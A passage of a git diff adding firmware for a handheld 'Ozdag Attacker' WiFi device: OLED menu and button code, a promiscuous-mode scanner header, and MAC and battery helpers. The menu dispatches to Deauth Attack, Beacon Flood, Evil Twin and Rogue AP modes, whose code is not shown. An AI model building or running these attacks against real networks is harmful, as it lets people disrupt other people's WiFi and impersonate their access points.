// Flexible array member for packet data +} wifi_promiscuous_pkt_t; + + +// --- Data Structures for Found Devices --- +enum class EncryptionType { + OPEN, + WEP, + WPA_PSK, + WPA2_PSK, + WPA_WPA2_PSK, + WPA2_ENTERPRISE, // Add more as needed + UNKNOWN +}; + +typedef struct { + uint8_t bssid[6]; + char ssid[MAX_SSID_LEN + 1]; + uint8_t channel; + int8_t rssi; + EncryptionType encryption; + uint32_t last_seen; + uint16_t packet_count; + bool selected; // For UI highlighting +} AccessPointInfo; + +typedef struct { + uint8_t mac[6]; + uint8_t bssid_ap[6]; // BSSID of the AP this station is associated with (if known) + int8_t rssi; + uint32_t last_seen; + uint16_t packet_count; + bool selected; // For UI highlighting +} StationInfo; + +// --- Global Variables (declared here, defined in .cpp) --- +extern AccessPointInfo ap_list[MAX_APS]; +extern uint8_t ap_count; +extern StationInfo sta_list[MAX_STAS]; +extern uint8_t sta_count; +extern uint8_t current_channel; +extern bool scanner_active; + +// --- Function Declarations --- +void scanner_init(); +void scanner_update(); +void scanner_stop(); +void scanner_draw(); // Function to draw scanner UI +void scanner_handle_input(ButtonPressType pressType); // Handle button presses + +// Internal functions +void scanner_set_channel(uint8_t channel); +void packet_capture_callback(uint8_t *buf, uint16_t len); // SDK callback +void process_wifi_packet(uint8_t *buf, uint16_t len); +int find_ap(const uint8_t* bssid); +int find_sta(const uint8_t* mac); +void add_or_update_ap(const mac_header_t* header, const beacon_probe_fixed_params_t* params, int8_t rssi, uint8_t channel, const uint8_t* tagged_params, uint16_t tagged_params_len); +void add_or_update_sta(const uint8_t* mac, const uint8_t* bssid, int8_t rssi); +EncryptionType get_encryption_type(const uint16_t capabilities, const uint8_t* tagged_params, uint16_t tagged_params_len); +String encryption_to_string(EncryptionType enc); + +// SDK function declarations +extern "C" { + #include "user_interface.h" // Required for wifi_promiscuous_enable, etc. + typedef void (*wifi_promiscuous_cb_t)(uint8_t *buf, uint16_t len); + void wifi_promiscuous_enable(uint8 promiscuous); + void wifi_set_promiscuous_rx_cb(wifi_promiscuous_cb_t cb); + bool wifi_set_channel(uint8 channel); + void wifi_sniffer_packet_handler(uint8_t *buff, uint16_t len); +} + +#endif // SCANNER_H \ No newline at end of file diff --git a/src/ui.cpp b/src/ui.cpp new file mode 100644 index 0000000..9e3b147 --- /dev/null +++ b/src/ui.cpp @@ -0,0 +1,364 @@ +#include "ui.h" +#include "config.h" +#include "utils.h" +#include +#include + +#include "scanner.h" +#include "deauth.h" +#include "beacon.h" +#include "mitm.h" +#include "rogue_ap.h" + +// --- OLED Instance --- +U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled(U8G2_R0, /* reset=*/ U8X8_PIN_NONE, /* scl=*/ OLED_SCL_PIN, /* sda=*/ OLED_SDA_PIN); + +// --- Global Flag for Redraw --- +bool needsRedraw = true; + +// --- Menu Definition --- +const char* mainMenuItems[] = { + "WiFi Scanner", + "Deauth Attack", + "Beacon Flood", + "Evil Twin", + "Rogue AP" +}; +const int mainMenuLength = sizeof(mainMenuItems) / sizeof(mainMenuItems[0]); + +// --- State Variables --- +UIState currentState = UIState::MAIN_MENU; +int currentMenuIndex = 0; + +// --- Button State --- +static ButtonPressType lastPressType = ButtonPressType::NO_PRESS; +static bool buttonState = HIGH; +static bool lastButtonState = HIGH; +static unsigned long buttonDownTime = 0; +static unsigned long lastDebounceTime = 0; +static unsigned long pressStartTime = 0; +static int currentButtonState = HIGH; + +// --- Battery --- +static int batteryPercentage = -1; +static unsigned long lastBatteryReadTime = 0; + +// --- Initialization --- +void ui_init() { + pinMode(BUTTON_PIN, INPUT_PULLUP); + Serial.println("UI Initialized."); + needsRedraw = true; +} + +// --- Main Update Loop for UI --- +void ui_update() { + unsigned long currentMillis = millis(); + + // --- Button Handling --- + currentButtonState = digitalRead(BUTTON_PIN); + + static int prevRawState = HIGH; + if (currentButtonState != prevRawState) { + prevRawState = currentButtonState; + } + + ButtonPressType currentPress = ButtonPressType::NO_PRESS; + + if (currentButtonState != lastButtonState) { + lastDebounceTime = currentMillis; + } + + if ((currentMillis - lastDebounceTime) > DEBOUNCE_TIME) { + if (currentButtonState != buttonState) { + buttonState = currentButtonState; + + if (buttonState == LOW) { + pressStartTime = currentMillis; + } else { + if (pressStartTime > 0) { + unsigned long pressDuration = currentMillis - pressStartTime; + if (pressDuration >= LONG_PRESS_TIME) { + currentPress = ButtonPressType::LONG_PRESS; + } else { + currentPress = ButtonPressType::SHORT_PRESS; + } + pressStartTime = 0; + } + } + } + } + lastButtonState = currentButtonState; + + if (currentPress != ButtonPressType::NO_PRESS) { + switch (currentState) { + case UIState::MAIN_MENU: + if (currentPress == ButtonPressType::SHORT_PRESS) { + currentMenuIndex = (currentMenuIndex + 1) % mainMenuLength; + needsRedraw = true; + } else if (currentPress == ButtonPressType::LONG_PRESS) { + UIState nextState = (UIState)(currentMenuIndex + 1); + currentState = nextState; + currentMenuIndex = 0; + needsRedraw = true; + } + break; + case UIState::SCANNER_MODE: + if (currentPress == ButtonPressType::LONG_PRESS) { + scanner_stop(); + currentState = UIState::MAIN_MENU; + currentMenuIndex = 0; + needsRedraw = true; + } else { + scanner_handle_input(currentPress); + } + break; + case UIState::DEAUTH_MODE: + deauth_handle_input(currentPress); + break; + case UIState::BEACON_MODE: + beacon_handle_input(currentPress); + break; + case UIState::MITM_MODE: + mitm_handle_input(currentPress); + break; + case UIState::ROGUE_AP_MODE: + rogue_ap_handle_input(currentPress); + break; + default: + if (currentPress == ButtonPressType::LONG_PRESS) { + scanner_stop(); + deauth_stop(); + beacon_stop(); + mitm_stop(); + rogue_ap_stop(); + + currentState = UIState::MAIN_MENU; + currentMenuIndex = 0; + needsRedraw = true; + } + break; + } + } + + // Update Battery periodically + if (millis() - lastBatteryReadTime > 5000 || batteryPercentage == -1) { + float voltage = readBatteryVoltage(); + int newPercentage = estimateBatteryPercentage(voltage); + if (newPercentage != batteryPercentage) { + batteryPercentage = newPercentage; + needsRedraw = true; + } + lastBatteryReadTime = millis(); + } + + if (needsRedraw) { + oled.clearBuffer(); + + const char* currentTitle = "Ozdag Attacker"; + switch (currentState) { + case UIState::MAIN_MENU: currentTitle = "Main Menu"; break; + case UIState::SCANNER_MODE: currentTitle = "WiFi Scanner"; break; + case UIState::DEAUTH_MODE: currentTitle = "Deauth Attack"; break; + case UIState::BEACON_MODE: currentTitle = "Beacon Flood"; break; + case UIState::MITM_MODE: currentTitle = "Evil Twin"; break; + case UIState::ROGUE_AP_MODE:currentTitle = "Rogue AP"; break; + } + ui_draw_header(currentTitle); + + switch (currentState) { + case UIState::MAIN_MENU: + ui_draw_main_menu(); + break; + case UIState::SCANNER_MODE: + scanner_draw(); + break; + case UIState::DEAUTH_MODE: + deauth_draw(); + break; + case UIState::BEACON_MODE: + beacon_draw(); + break; + case UIState::MITM_MODE: + mitm_draw(); + break; + case UIState::ROGUE_AP_MODE: + rogue_ap_draw(); + break; + default: + break; + } + + ui_draw_battery(SCREEN_WIDTH - 18, 0, batteryPercentage); + + oled.sendBuffer(); + needsRedraw = false; + } +} + +// --- Drawing Functions --- +void ui_draw_header(const char* title) { + oled.setFont(u8g2_font_6x10_tf); + oled.drawHLine(0, 12, SCREEN_WIDTH); + oled.drawStr(0, 10, title); +} + +void ui_draw_battery(int x, int y, int percentage) { + oled.drawFrame(x, y, 18, 9); + oled.drawBox(x + 18, y + 2, 1, 5); + + if (percentage >= 0) { + int width = map(percentage, 0, 100, 0, 16); + if (width > 0) { + oled.drawBox(x + 1, y + 1, width, 7); + } + } else { + oled.drawStr(x + 6, y + 8, "?"); + } +} + +void ui_draw_main_menu() { + oled.setFont(u8g2_font_6x10_tf); + + const int itemsPerPage = 4; + int firstItem = (currentMenuIndex / itemsPerPage) * itemsPerPage; + + for (int i = 0; i < itemsPerPage; ++i) { + int itemIndex = firstItem + i; + if (itemIndex >= mainMenuLength) break; + + int yPos = 24 + (i * 11); + + if (itemIndex == currentMenuIndex) { + oled.drawStr(0, yPos, ">"); + oled.drawStr(8, yPos, mainMenuItems[itemIndex]); + } else { + oled.drawStr(8, yPos, mainMenuItems[itemIndex]); + } + } + + if (mainMenuLength > itemsPerPage) { + if (firstItem > 0) { + oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); + } + if (firstItem + itemsPerPage < mainMenuLength) { + oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5); + } + } +} + +// --- Getters --- +UIState ui_get_current_state() { + return currentState; +} + +int ui_get_menu_index() { + return currentMenuIndex; +} + +// --- Button Update Function --- +void button_update() { + bool reading = digitalRead(BUTTON_PIN); + + if (reading != lastButtonState) { + lastDebounceTime = millis(); + } + + if ((millis() - lastDebounceTime) > DEBOUNCE_TIME) { + if (reading != buttonState) { + buttonState = reading; + + if (buttonState == LOW) { + buttonDownTime = millis(); + } else { + unsigned long pressDuration = millis() - buttonDownTime; + + if (pressDuration >= LONG_PRESS_TIME) { + lastPressType = ButtonPressType::LONG_PRESS; + } else if (pressDuration >= DEBOUNCE_TIME) { + lastPressType = ButtonPressType::SHORT_PRESS; + } + } + } + } + lastButtonState = reading; +} + +// --- Button Get Press Function --- +ButtonPressType button_get_press() { + ButtonPressType press = lastPressType; + if (press != ButtonPressType::NO_PRESS) { + lastPressType = ButtonPressType::NO_PRESS; + } + return press; +} + +void handle_button() { + ButtonPressType press = button_get_press(); + + if (press != ButtonPressType::NO_PRESS) { + switch (currentState) { + case UIState::MAIN_MENU: + if (press == ButtonPressType::SHORT_PRESS) { + currentMenuIndex = (currentMenuIndex + 1) % mainMenuLength; + needsRedraw = true; + } else if (press == ButtonPressType::LONG_PRESS) { + currentState = (UIState)(currentMenuIndex + 1); + currentMenuIndex = 0; + needsRedraw = true; + } + break; + case UIState::SCANNER_MODE: + break; + case UIState::DEAUTH_MODE: + deauth_handle_input(press); + break; + case UIState::BEACON_MODE: + beacon_handle_input(press); + break; + case UIState::MITM_MODE: + mitm_handle_input(press); + break; + case UIState::ROGUE_AP_MODE: + rogue_ap_handle_input(press); + break; + default: + if (press == ButtonPressType::LONG_PRESS) { + currentState = UIState::MAIN_MENU; + currentMenuIndex = 0; + needsRedraw = true; + } + break; + } + } +} + +void draw_ui() { + oled.clearBuffer(); + + switch (currentState) { + case UIState::MAIN_MENU: + ui_draw_main_menu(); + break; + case UIState::SCANNER_MODE: + scanner_draw(); + break; + case UIState::DEAUTH_MODE: + deauth_draw(); + break; + case UIState::BEACON_MODE: + beacon_draw(); + break; + case UIState::MITM_MODE: + mitm_draw(); + break; + case UIState::ROGUE_AP_MODE: + rogue_ap_draw(); + break; + default: + oled.setFont(u8g2_font_6x10_tf); + oled.drawStr(0, 30, "Unknown State"); + break; + } + + oled.sendBuffer(); +} \ No newline at end of file diff --git a/src/ui.h b/src/ui.h new file mode 100644 index 0000000..c593ac7 --- /dev/null +++ b/src/ui.h @@ -0,0 +1,59 @@ +#ifndef UI_H +#define UI_H + +#include +#include // Include U8g2 library +#include "config.h" // For button pin, etc. + +// --- UI State Enum --- +enum class UIState { + MAIN_MENU, + SCANNER_MODE, + DEAUTH_MODE, + BEACON_MODE, + MITM_MODE, + ROGUE_AP_MODE + // Add other states as needed +}; + +// --- Button States --- +enum class ButtonPressType { + NO_PRESS, + SHORT_PRESS, + LONG_PRESS +}; + +// --- Global UI Variables (defined in ui.cpp) --- +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; // Make OLED object accessible +extern UIState currentState; // <<< Make sure this is extern +extern int currentMenuIndex; // <<< Make sure this is extern +extern bool needsRedraw; // <<< Make sure this is extern +extern const char *mainMenuItems[]; // Declare main menu items array +extern const int mainMenuLength; // Declare main menu length + +// --- Function Declarations --- + +// Initialization +void ui_init(); + +// Main update loop for UI (handles button presses, updates display) +void ui_update(); + +// Drawing functions +void ui_draw_header(const char* title); +void ui_draw_battery(int x, int y, int percentage); +void ui_draw_main_menu(); +// Add drawing functions for each mode/state later + +// Getters +UIState ui_get_current_state(); +int ui_get_menu_index(); + +// Button Function Declarations +void button_update(); +ButtonPressType button_get_press(); + +void handle_button(); // <<< DECLARE button handling function +void draw_ui(); // <<< DECLARE main UI drawing function + +#endif // UI_H \ No newline at end of file diff --git a/src/utils.cpp b/src/utils.cpp new file mode 100644 index 0000000..b601156 --- /dev/null +++ b/src/utils.cpp @@ -0,0 +1,48 @@ +#include "utils.h" +#include "config.h" + +// --- Battery --- +float readBatteryVoltage() { + int raw = analogRead(BATTERY_PIN); + float voltage = raw * (VOLTAGE_MAX / 1024.0); + return voltage; +} + +int estimateBatteryPercentage(float voltage) { + int percentage = map(voltage * 100, VOLTAGE_MIN * 100, VOLTAGE_MAX * 100, 0, 100); + if (percentage < 0) percentage = 0; + if (percentage > 100) percentage = 100; + return percentage; +} + +// --- MAC Address Formatting --- +String macToString(const uint8_t* mac) { + char buf[18]; + snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + return String(buf); +} + +bool stringToMac(const String& macStr, uint8_t* mac) { + if (macStr.length() != 17) return false; + int byteNum = 0; + for (int i = 0; i < 17; i += 3) { + if (byteNum >= 6) return false; + String byteStr = macStr.substring(i, i + 2); + char* endPtr; + mac[byteNum] = strtol(byteStr.c_str(), &endPtr, 16); + if (*endPtr != '\0') return false; + byteNum++; + } + return byteNum == 6; +} + +// --- Other Helpers --- +void printHex(uint8_t* data, size_t len) { + for (size_t i = 0; i < len; i++) { + if (data[i] < 0x10) Serial.print("0"); + Serial.print(data[i], HEX); + Serial.print(" "); + } + Serial.println(); +} \ No newline at end of file diff --git a/src/utils.h b/src/utils.h new file mode 100644 index 0000000..2aa86ad --- /dev/null +++ b/src/utils.h @@ -0,0 +1,20 @@ +#ifndef UTILS_H +#define UTILS_H + +#include +#include // For MAC address type + +// --- Battery --- +float readBatteryVoltage(); +int estimateBatteryPercentage(float voltage); + +// --- MAC Address Formatting --- +String macToString(const uint8_t* mac); +bool stringToMac(const String& macStr, uint8_t* mac); + +// --- Other Helpers --- +void printHex(uint8_t* data, size_t len); // For debugging + +void utils_random_mac(uint8_t* mac); + +#endif // UTILS_H \ No newline at end of file